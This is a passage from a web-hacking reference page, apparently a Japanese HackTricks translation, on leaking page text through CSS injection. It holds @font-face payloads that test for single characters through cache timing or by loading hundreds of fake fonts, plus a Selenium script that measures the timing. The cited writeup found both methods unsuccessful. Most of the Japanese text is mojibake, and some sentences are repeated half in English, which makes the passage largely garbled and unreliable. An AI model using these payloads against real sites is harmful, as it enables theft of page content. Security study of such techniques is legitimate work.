ãã®ã±ãŒã¹ã¯åã®ãã®ãšéåžžã«äŒŒãŠããŸãããä»åã®ç®çã¯ç¹å®ã® æåãä»ã®æåãã倧ããããŠäœããé ãããšïŒãããã«æŒãããªãããã«ãããã¿ã³ãããŒããããªãç»åãªã©ïŒã§ãããããã£ãŠãã¢ã¯ã·ã§ã³ã®æç¡ã枬å®ããããšã§ãç¹å®ã®æåãããã¹ãå ã«ååšãããã©ãããå€å¥ã§ããŸãã
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Reference: ãã㯠an unsuccessful solution in this writeup ã§èšåãããŠããŸã
ãã®å Žåãåäžãªãªãžã³ããåœã®ãã©ã³ããèªã¿èŸŒãããšã§ãããã¹ãå ã«ç¹å®ã®æåããããã©ãããleakããããšè©Šã¿ãããšãã§ããŸãïŒ
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1. Although it wonât load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.
ããããäžèŽããããš font will be loaded from /static/bootstrap.min.css?q=1ãæ£åžžã«èªã¿èŸŒããªããŠããbrowser should cache itãããšããã£ãã·ã¥ããªããŠã304 not modified ã®ä»çµã¿ããããããresponse should be faster ã¯ä»ã®ãã®ããéããªãã¯ãã§ãã
However, if the time difference of the cached response from the non-cached one isnât big enough, this wonât be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.
ãã ãããã£ãã·ã¥æžã¿ã¬ã¹ãã³ã¹ãšæªãã£ãã·ã¥ã¬ã¹ãã³ã¹ã®æéå·®ãååã§ãªãå Žåã¯åœ¹ã«ç«ã¡ãŸãããäŸãã°èè ã¯æ¬¡ã®ããã«è¿°ã¹ãŠããŸãïŒãã¹ããããšããã第äžã®åé¡ã¯é床差ãããŸã倧ãããªãããšã第äºã®åé¡ã¯ãããã disk-cache-size=1 ãã©ã°ã䜿ã£ãŠããããšã§ãéåžžã«é æ ®ãè¡ãå±ããŠãããšããç¹ã§ããã
Text node exfiltration (III): leaking the charset by timing loading hundreds of local âfontsâ (not requiring external assets)
Reference: This is mentioned as an unsuccessful solution in this writeup
åè: ãã㯠an unsuccessful solution in this writeup ãšããŠèšåãããŠããŸãã
In this case you can indicate CSS to load hundreds of fake fonts from the same origin when a match occurs. This way you can measure the time it takes and find out if a char appears or not with something like:
ãã®å ŽåãäžèŽãçºçãããšãã«åäžãªãªãžã³ããCSS to load hundreds of fake fontsãèªã¿èŸŒãããæå®ã§ããŸããããããããšã§æèŠæéãmeasure the timeããæåãåºçŸãããã©ãããæ¬¡ã®ããã«å€å®ã§ããŸãïŒ
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
ãããŠããããã®ã³ãŒãã¯æ¬¡ã®ããã«ãªããŸã:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
ã€ãŸãããã©ã³ããäžèŽããªãå Žåããããã蚪åããéã®å¿çæéã¯ãããã30ç§ã«ãªããšäºæ³ãããŸãããããããã©ã³ããäžèŽããå Žåã¯ãã©ã³ãååŸã®ããã«è€æ°ã®ãªã¯ãšã¹ããéä¿¡ããããããã¯ãŒã¯ã§ç¶ç¶çãªæŽ»åãçºçããŸãããã®çµæã忢æ¡ä»¶ãæºããããŠå¿çãåãåããŸã§ã«ããé·ãæéãããããŸãããããã£ãŠãå¿çæéã¯ãã©ã³ããäžèŽããŠããããå€å®ããææšãšããŠå©çšã§ããŸãã
åèè³æ
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


